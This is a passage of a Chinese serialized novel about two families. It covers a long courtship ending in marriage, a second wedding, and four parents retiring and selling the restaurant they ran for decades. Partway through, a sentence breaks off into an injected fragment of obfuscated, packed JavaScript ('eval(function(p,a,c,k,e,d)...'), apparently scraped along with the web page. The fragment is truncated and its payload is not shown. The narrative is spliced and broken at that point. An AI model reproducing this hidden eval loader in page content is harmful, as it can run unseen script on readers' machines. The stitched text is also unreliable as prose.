钱雪娇一如既往的找小凯，一起去看电影，一起看球，一起吃饭，一起研究工作和探讨知识方面的问题，钱雪娇对两个人的感情觉得应该是水到渠成。自己马上开始读研。3年之后，如果能读博，还要继续学习，实现知识报国的志向。尽管眼前小凯是他想找的白马王子，可是漫漫长路，白马王子能否一路同行？所以她急不得。 小凯工作一年后寒假回家，春节期间亲朋好友见面总是要问小凯婚姻情况，小凯说不急，才工作一年，要等各方面条件成熟再考虑婚事。凤珍对厚成说：“小凯现在没有对象，如果遇到喜欢的姑娘很快能结婚！小凯现在住在学校宿舍里，结婚要买房子，现在房价每年上涨，开学小凯回去后让他选房子一百平方米以内，我们先贷款买房！”厚成表示同意：“买房早买早还贷款！” 两个人这样定下来了，小凯回省城前一天晚上，厚成和凤珍把小凯叫到客厅，说了要贷款在省城给小凯买房子的事，小凯表示反对，说自己的婚事不急，不要贷款买房，增加父母的负担！ 凤珍说：“记账公司、饭店赚得钱，一部分还贷款，一部分供他和小丹上大学，还有两家老人搬迁的费用，爷爷奶奶、姥爷姥姥家棚户区改造分到二户楼房，个人负担部分，以及二户房子装修，两户房子的家具，生活用品支出资金近二十万元。现在家里的存款够买房交首付款，每个月还贷由家里负担，让小凯自己攒下工资已备结婚用！” 小凯想了想说：“也好，回省城后研究买房的事！”小凯在4月份看好了一处楼盘，打电话详细和爸爸妈妈汇报，凤珍和厚成反复商量，让小凯交了订金。告诉小凯，房子写上小凯的名字。贷款小凯坚持自己还。 寒来暑往，钱雪娇研究生毕业了。这3年中，他和小凯始终保持联系，有时见面，两个人无论谁有什么重大事情，都会坐在一起商量解决。有一次小凯重感冒发烧到38度，钱雪娇给小凯打电话，听到声音不对，马上开车来到学校给小凯买药，用酒精为小凯擦身降温，直到小凯体温下降才肯离去，临走时四目相对，默默无语，钱雪娇流下了二滴大大的泪珠…… 三年中小凯也有追求者，钱雪娇也有追求者，但是两个人都在互相等待之中。这一年，小凯在职研究生毕业，晋升为教授，钱雪娇考上了博士生，他们又开始新的征程，一路同行。三年后小凯作为后备人才进了大学领导班子，行政级别为副处级。钱雪娇博士毕业后进入省城的国家科研单位工作，实现了知识报国的志向。 这一年，小凯32岁，钱雪娇，31岁。元旦这天，小凯约钱雪娇一起看电影，然后一起吃西餐，这是小凯早已对钱雪娇的许诺，所以见面时钱雪娇说：“还记得许愿要还，不还头疼啊！” 小凯说：“我许你的事情还有没有还吗？！” 钱雪娇眨眨眼说：“好像没有……” 小凯一语双关，“无论是之前还是之后，我对你承诺的事一定是一诺千金。想头痛都不能！”两个人哈哈大笑了起来。 看过电影，两个人来到中央大街知名西餐厅二楼，恍惚之间来到了富丽堂皇的克里姆林宫，高高的穹顶雕刻着金色的花纹，室内一排奢华的枝顶吊灯耀眼夺目。色彩浓郁的俄罗斯油画挂满四壁；在橙色的灯光映衬下整个餐厅美轮美奂，让人有一种身在异国他乡之感。在这里，时间似乎放慢了脚步，西餐厅每寸空气都弥漫散发出淡淡的香气，让人不由自主沉醉在这个宁静与美好之中…… 小凯叫钱雪娇点餐，钱雪娇点了俄式套餐，一瓶俄罗斯葡萄酒，两个人谈笑风生，说到高兴处相视一笑，儆言一对幸福的夫妻。 小凯理了理情绪沉稳地对钱雪娇说：”你的理想已实现，还要我继续陪你长跑吗？！” 钱雪娇喝了酒，脸色微红娇媚地说：“谢谢你多年的陪伴，今后不跑了，你能一生陪我吗！？” 小凯拉过钱雪娇的手说：“执子之手，与子偕老！”钱雪娇激动地流下了热泪，小凯双手递过纸巾钱雪娇…… 从西餐厅出来，两个人手拉着手，漫步在中央大街上，已是夜幕降临，霓虹灯闪烁，漫天雪花飞舞。小凯把钱学娇拥抱怀中深情地亲吻，月亮像害羞的女孩躲进了云层里…… “五一”的假期，小凯请父母、洪涛，王玲、小丹、小刚来到省城，与钱雪娇的奶奶和父母见面，共同喝他和钱雪娇的喜酒。一共请了五桌客人。一桌是家人，二桌是老师、要好的同学。三桌是两个单位领导和同事……厚成代表父母致祝酒词……小凯、钱雪娇结束了爱情的长跑，带着家人，朋友的祝福去蜜月旅行了…… 小刚，小丹从小学到高中一直是同班同学，上大学后，他们从小青梅竹马感情日益加深，确立了恋爱关系，双方父母说是锦上添花一百个赞同！小刚考入了本省医科大学，4年毕业后回到煤城市医院做了外科医生。小丹考入本省大学会计专业，毕业后取得了会计资格证书。王玲年龄大了，有脑梗病，记忆力有些减退。厚成、凤珍，洪涛，王玲希望小丹毕业后到记账公司工作，小丹经过几天思考，接了记账公司管理工作。同一年，小刚、小丹在煤城举行了盛大婚礼，所有的亲朋好友前来祝贺，80桌的酒席座无虚席，创造了煤城百姓喜事之最…… 2017年厚成、凤珍、洪涛，王玲陆续到了退休年龄，分别领了养老金。养老金钱虽然不算多，这是他们煤城国有企 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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洪涛说：“再干5年是有上百万的利润，可是哥和嫂子年龄也大了，每天贪黑起早，身体受伤害。另外小丹已经怀孕，生孩子以后，小丹还要管理记账公司，孩子谁来照顾？” 王玲说：“我来照顾孩子！” 洪涛说：“你有脑梗病，每天丢东落西的，怎么能照顾好孩子？” 凤珍说：“照顾孩子这个事情比饭店重要，有人看孩子，小丹才能安心管理计账公司。我们3个孩子现在只有小丹接了我们的班，我们4个人要管好她的孩子才对。至于5年饭店要挣多少钱，我们不考虑了，我同意卖饭店！” 王玲想了一会，觉得凤珍说的对，改变了想法，同意凤珍的意见。 厚成说：“我们评估一下饭店的价格，少了这个数不卖。如果买家认可我们就卖，不认可我们不卖！” 三个人同意厚成的意见，议论起饭店的价格…… 第二天，厚成给崔玉龙打了电话，说同意卖饭店，让他们父子到店里来谈。凤珍、厚成、洪涛，王玲连续和崔家父子谈了四次，最后达成了买卖协议。饭店仓库，洗衣房全部卖给崔家父子。崔家首付百分之三十款，余款房照过户给崔金南贷款到账后，饭店交给崔金南。一个月后，凤珍他们把饭店交给了崔金南，交接文书双方签字时，凤珍代表四个人签字，颤抖的手勉强写上名字，激动地流下了眼泪，厚成扶着凤珍，自己也是泪流满面，洪涛握着王玲的手，两个人在擦着眼泪…… 四个人百感交加，自从下岗，他们经营长途货运车，经营记账公司，经营饭店近30年，半生的酸甜苦辣，半生的故事，所有的过往都淹没在时间的长河里…… 员工围着他们万般的不舍，海龙握着凤珍的手说：“大姨，常来看我们啊，看我们啊！”已经泣不成声。鲜族师傅们鞠躬送别…… 当他们4个人从饭店走出来时，夕阳的余晖染红了整片天空，犹如一幅美丽画卷，让人陶醉在美丽景色之中……